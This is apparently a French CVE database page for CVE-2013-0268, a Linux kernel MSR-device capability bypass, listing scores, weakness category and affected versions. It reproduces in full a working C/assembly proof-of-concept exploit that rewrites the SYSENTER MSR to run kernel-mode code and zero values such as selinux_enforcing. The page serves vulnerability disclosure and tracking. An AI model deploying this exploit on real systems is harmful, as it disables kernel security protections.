CVE-2013-0268 : Détail

CVE-2013-0268

A01-Broken Access Control
0.23%V3
Local
2013-02-18
01h00 +00:00
2013-06-05
07h00 +00:00
CVE.org
NVD
Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Gestion des notifications

Descriptions du CVE

The msr_open function in arch/x86/kernel/msr.c in the Linux kernel before 3.7.6 allows local users to bypass intended capability restrictions by executing a crafted application as root, as demonstrated by msr32.c.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-264 Category : Permissions, Privileges, and Access Controls
Weaknesses in this category are related to the management of permissions, privileges, and other security features that are used to perform access control.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 6.2 AV:L/AC:H/Au:N/C:C/I:C/A:C [email protected]

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 27297

Date de publication : 2013-08-01 22h00 +00:00
Auteur : spender
EDB Vérifié : No

// PoC exploit for /dev/cpu/*/msr, 32bit userland on a 64bit host // can do whatever in the commented area, re-enable module support, etc // requires CONFIG_X86_MSR and just uid 0 // a small race exists between the time when the MSR is written to the first // time and when we issue our sysenter // we additionally require CAP_SYS_NICE to make the race win nearly guaranteed // configured to take a hex arg of a dword pointer to set to 0 // (modules_disabled, selinux_enforcing, take your pick) // // Hello to Red Hat, who has shown yet again to not care until a // public exploit is released. Not even a bugtraq entry existed in // their system until this was published -- and they have a paid team // of how many? // It's not as if I didn't mention the problem and existence of an easy // exploit multiple times prior: // https://twitter.com/grsecurity/status/298977370776432640 // https://twitter.com/grsecurity/status/297365303095078912 // https://twitter.com/grsecurity/status/297189488638181376 // https://twitter.com/grsecurity/status/297030133628416000 // https://twitter.com/grsecurity/status/297029470072745984 // https://twitter.com/grsecurity/status/297028324134359041 // // spender 2013 #define _GNU_SOURCE #include <stdio.h> #include <sched.h> #include <unistd.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <stdlib.h> #include <sys/time.h> #include <sys/resource.h> #include <sys/mman.h> #define SYSENTER_EIP_MSR 0x176 u_int64_t msr; unsigned long ourstack[65536]; u_int64_t payload_data[16]; extern void *_ring0; extern void *_ring0_end; void ring0(void) { __asm volatile(".globl _ring0\n" "_ring0:\n" ".intel_syntax noprefix\n" ".code64\n" // set up stack pointer with 'ourstack' "mov esp, ecx\n" // save registers, contains the original MSR value "push rax\n" "push rbx\n" "push rcx\n" "push rdx\n" // play with the kernel here with interrupts disabled! "mov rcx, qword ptr [rbx+8]\n" "test rcx, rcx\n" "jz skip_write\n" "mov dword ptr [rcx], 0\n" "skip_write:\n" // restore MSR value before returning "mov ecx, 0x176\n" // SYSENTER_EIP_MSR "mov eax, dword ptr [rbx]\n" "mov edx, dword ptr [rbx+4]\n" "wrmsr\n" "pop rdx\n" "pop rcx\n" "pop rbx\n" "pop rax\n" "sti\n" "sysexit\n" ".code32\n" ".att_syntax prefix\n" ".global _ring0_end\n" "_ring0_end:\n" ); } unsigned long saved_stack; int main(int argc, char *argv[]) { cpu_set_t set; int msr_fd; int ret; u_int64_t new_msr; struct sched_param sched; u_int64_t resolved_addr = 0ULL; if (argc == 2) resolved_addr = strtoull(argv[1], NULL, 16); /* can do this without privilege */ mlock(_ring0, (unsigned long)_ring0_end - (unsigned long)_ring0); mlock(&payload_data, sizeof(payload_data)); CPU_ZERO(&set); CPU_SET(0, &set); sched.sched_priority = 99; ret = sched_setscheduler(0, SCHED_FIFO, &sched); if (ret) { fprintf(stderr, "Unable to set priority.\n"); exit(1); } ret = sched_setaffinity(0, sizeof(cpu_set_t), &set); if (ret) { fprintf(stderr, "Unable to set affinity.\n"); exit(1); } msr_fd = open("/dev/cpu/0/msr", O_RDWR); if (msr_fd < 0) { msr_fd = open("/dev/msr0", O_RDWR); if (msr_fd < 0) { fprintf(stderr, "Unable to open /dev/cpu/0/msr\n"); exit(1); } } lseek(msr_fd, SYSENTER_EIP_MSR, SEEK_SET); ret = read(msr_fd, &msr, sizeof(msr)); if (ret != sizeof(msr)) { fprintf(stderr, "Unable to read /dev/cpu/0/msr\n"); exit(1); } // stuff some addresses in a buffer whose address we // pass to the "kernel" via register payload_data[0] = msr; payload_data[1] = resolved_addr; printf("Old SYSENTER_EIP_MSR = %016llx\n", msr); fflush(stdout); lseek(msr_fd, SYSENTER_EIP_MSR, SEEK_SET); new_msr = (u_int64_t)(unsigned long)&_ring0; printf("New SYSENTER_EIP_MSR = %016llx\n", new_msr); fflush(stdout); ret = write(msr_fd, &new_msr, sizeof(new_msr)); if (ret != sizeof(new_msr)) { fprintf(stderr, "Unable to modify /dev/cpu/0/msr\n"); exit(1); } __asm volatile( ".intel_syntax noprefix\n" ".code32\n" "mov saved_stack, esp\n" "lea ecx, ourstack\n" "lea edx, label2\n" "lea ebx, payload_data\n" "sysenter\n" "label2:\n" "mov esp, saved_stack\n" ".att_syntax prefix\n" ); printf("Success.\n"); return 0; }

Products Mentioned

Configuraton 0

Linux>>Linux_kernel >> Version To (including) 3.7.5

Linux>>Linux_kernel >> Version 3.0

Linux>>Linux_kernel >> Version 3.0

Linux>>Linux_kernel >> Version 3.0

Linux>>Linux_kernel >> Version 3.0

Linux>>Linux_kernel >> Version 3.0

Linux>>Linux_kernel >> Version 3.0

Linux>>Linux_kernel >> Version 3.0

Linux>>Linux_kernel >> Version 3.0.1

Linux>>Linux_kernel >> Version 3.0.2

Linux>>Linux_kernel >> Version 3.0.3

Linux>>Linux_kernel >> Version 3.0.4

Linux>>Linux_kernel >> Version 3.0.5

Linux>>Linux_kernel >> Version 3.0.6

Linux>>Linux_kernel >> Version 3.0.7

Linux>>Linux_kernel >> Version 3.0.8

Linux>>Linux_kernel >> Version 3.0.9

Linux>>Linux_kernel >> Version 3.0.10

Linux>>Linux_kernel >> Version 3.0.11

Linux>>Linux_kernel >> Version 3.0.12

Linux>>Linux_kernel >> Version 3.0.13

Linux>>Linux_kernel >> Version 3.0.14

Linux>>Linux_kernel >> Version 3.0.15

Linux>>Linux_kernel >> Version 3.0.16

Linux>>Linux_kernel >> Version 3.0.17

Linux>>Linux_kernel >> Version 3.0.18

Linux>>Linux_kernel >> Version 3.0.19

Linux>>Linux_kernel >> Version 3.0.20

Linux>>Linux_kernel >> Version 3.0.21

Linux>>Linux_kernel >> Version 3.0.22

Linux>>Linux_kernel >> Version 3.0.23

Linux>>Linux_kernel >> Version 3.0.24

Linux>>Linux_kernel >> Version 3.0.25

Linux>>Linux_kernel >> Version 3.0.26

Linux>>Linux_kernel >> Version 3.0.27

Linux>>Linux_kernel >> Version 3.0.28

Linux>>Linux_kernel >> Version 3.0.29

Linux>>Linux_kernel >> Version 3.0.30

Linux>>Linux_kernel >> Version 3.0.31

Linux>>Linux_kernel >> Version 3.0.32

Linux>>Linux_kernel >> Version 3.0.33

Linux>>Linux_kernel >> Version 3.0.34

Linux>>Linux_kernel >> Version 3.0.35

Linux>>Linux_kernel >> Version 3.0.36

Linux>>Linux_kernel >> Version 3.0.37

Linux>>Linux_kernel >> Version 3.0.38

Linux>>Linux_kernel >> Version 3.0.39

Linux>>Linux_kernel >> Version 3.0.40

Linux>>Linux_kernel >> Version 3.0.41

Linux>>Linux_kernel >> Version 3.0.42

Linux>>Linux_kernel >> Version 3.0.43

Linux>>Linux_kernel >> Version 3.0.44

Linux>>Linux_kernel >> Version 3.1

Linux>>Linux_kernel >> Version 3.1

Linux>>Linux_kernel >> Version 3.1

Linux>>Linux_kernel >> Version 3.1

Linux>>Linux_kernel >> Version 3.1

Linux>>Linux_kernel >> Version 3.1.1

Linux>>Linux_kernel >> Version 3.1.2

Linux>>Linux_kernel >> Version 3.1.3

Linux>>Linux_kernel >> Version 3.1.4

Linux>>Linux_kernel >> Version 3.1.5

Linux>>Linux_kernel >> Version 3.1.6

Linux>>Linux_kernel >> Version 3.1.7

Linux>>Linux_kernel >> Version 3.1.8

Linux>>Linux_kernel >> Version 3.1.9

Linux>>Linux_kernel >> Version 3.1.10

Linux>>Linux_kernel >> Version 3.2

Linux>>Linux_kernel >> Version 3.2

Linux>>Linux_kernel >> Version 3.2

Linux>>Linux_kernel >> Version 3.2

Linux>>Linux_kernel >> Version 3.2

Linux>>Linux_kernel >> Version 3.2

Linux>>Linux_kernel >> Version 3.2

Linux>>Linux_kernel >> Version 3.2.1

Linux>>Linux_kernel >> Version 3.2.2

Linux>>Linux_kernel >> Version 3.2.3

Linux>>Linux_kernel >> Version 3.2.4

Linux>>Linux_kernel >> Version 3.2.5

Linux>>Linux_kernel >> Version 3.2.6

Linux>>Linux_kernel >> Version 3.2.7

Linux>>Linux_kernel >> Version 3.2.8

Linux>>Linux_kernel >> Version 3.2.9

Linux>>Linux_kernel >> Version 3.2.10

Linux>>Linux_kernel >> Version 3.2.11

Linux>>Linux_kernel >> Version 3.2.12

Linux>>Linux_kernel >> Version 3.2.13

Linux>>Linux_kernel >> Version 3.2.14

Linux>>Linux_kernel >> Version 3.2.15

Linux>>Linux_kernel >> Version 3.2.16

Linux>>Linux_kernel >> Version 3.2.17

Linux>>Linux_kernel >> Version 3.2.18

Linux>>Linux_kernel >> Version 3.2.19

Linux>>Linux_kernel >> Version 3.2.20

Linux>>Linux_kernel >> Version 3.2.21

Linux>>Linux_kernel >> Version 3.2.22

Linux>>Linux_kernel >> Version 3.2.23

Linux>>Linux_kernel >> Version 3.2.24

Linux>>Linux_kernel >> Version 3.2.25

Linux>>Linux_kernel >> Version 3.2.26

Linux>>Linux_kernel >> Version 3.2.27

Linux>>Linux_kernel >> Version 3.2.28

Linux>>Linux_kernel >> Version 3.2.29

Linux>>Linux_kernel >> Version 3.2.30

Linux>>Linux_kernel >> Version 3.3

Linux>>Linux_kernel >> Version 3.3

Linux>>Linux_kernel >> Version 3.3

Linux>>Linux_kernel >> Version 3.3

Linux>>Linux_kernel >> Version 3.3

Linux>>Linux_kernel >> Version 3.3

Linux>>Linux_kernel >> Version 3.3

Linux>>Linux_kernel >> Version 3.3

Linux>>Linux_kernel >> Version 3.3.1

Linux>>Linux_kernel >> Version 3.3.2

Linux>>Linux_kernel >> Version 3.3.3

Linux>>Linux_kernel >> Version 3.3.4

Linux>>Linux_kernel >> Version 3.3.5

Linux>>Linux_kernel >> Version 3.3.6

Linux>>Linux_kernel >> Version 3.3.7

Linux>>Linux_kernel >> Version 3.3.8

Linux>>Linux_kernel >> Version 3.4

Linux>>Linux_kernel >> Version 3.4

Linux>>Linux_kernel >> Version 3.4

Linux>>Linux_kernel >> Version 3.4

Linux>>Linux_kernel >> Version 3.4

Linux>>Linux_kernel >> Version 3.4

Linux>>Linux_kernel >> Version 3.4

Linux>>Linux_kernel >> Version 3.4

Linux>>Linux_kernel >> Version 3.4.1

Linux>>Linux_kernel >> Version 3.4.2

Linux>>Linux_kernel >> Version 3.4.3

Linux>>Linux_kernel >> Version 3.4.4

Linux>>Linux_kernel >> Version 3.4.5

Linux>>Linux_kernel >> Version 3.4.6

Linux>>Linux_kernel >> Version 3.4.7

Linux>>Linux_kernel >> Version 3.4.8

Linux>>Linux_kernel >> Version 3.4.9

Linux>>Linux_kernel >> Version 3.4.10

Linux>>Linux_kernel >> Version 3.4.11

Linux>>Linux_kernel >> Version 3.4.12

Linux>>Linux_kernel >> Version 3.4.13

Linux>>Linux_kernel >> Version 3.4.14

Linux>>Linux_kernel >> Version 3.4.15

Linux>>Linux_kernel >> Version 3.4.16

Linux>>Linux_kernel >> Version 3.4.17

Linux>>Linux_kernel >> Version 3.4.18

Linux>>Linux_kernel >> Version 3.4.19

Linux>>Linux_kernel >> Version 3.4.20

Linux>>Linux_kernel >> Version 3.4.21

Linux>>Linux_kernel >> Version 3.4.22

Linux>>Linux_kernel >> Version 3.4.23

Linux>>Linux_kernel >> Version 3.4.24

Linux>>Linux_kernel >> Version 3.5.1

Linux>>Linux_kernel >> Version 3.5.2

Linux>>Linux_kernel >> Version 3.5.3

Linux>>Linux_kernel >> Version 3.5.4

Linux>>Linux_kernel >> Version 3.5.5

Linux>>Linux_kernel >> Version 3.5.6

Linux>>Linux_kernel >> Version 3.5.7

Linux>>Linux_kernel >> Version 3.6.9

Linux>>Linux_kernel >> Version 3.6.10

Linux>>Linux_kernel >> Version 3.6.11

Linux>>Linux_kernel >> Version 3.7

Linux>>Linux_kernel >> Version 3.7.1

Linux>>Linux_kernel >> Version 3.7.2

Linux>>Linux_kernel >> Version 3.7.3

Linux>>Linux_kernel >> Version 3.7.4

Références

http://www.openwall.com/lists/oss-security/2013/02/07/12
Tags : mailing-list, x_refsource_MLIST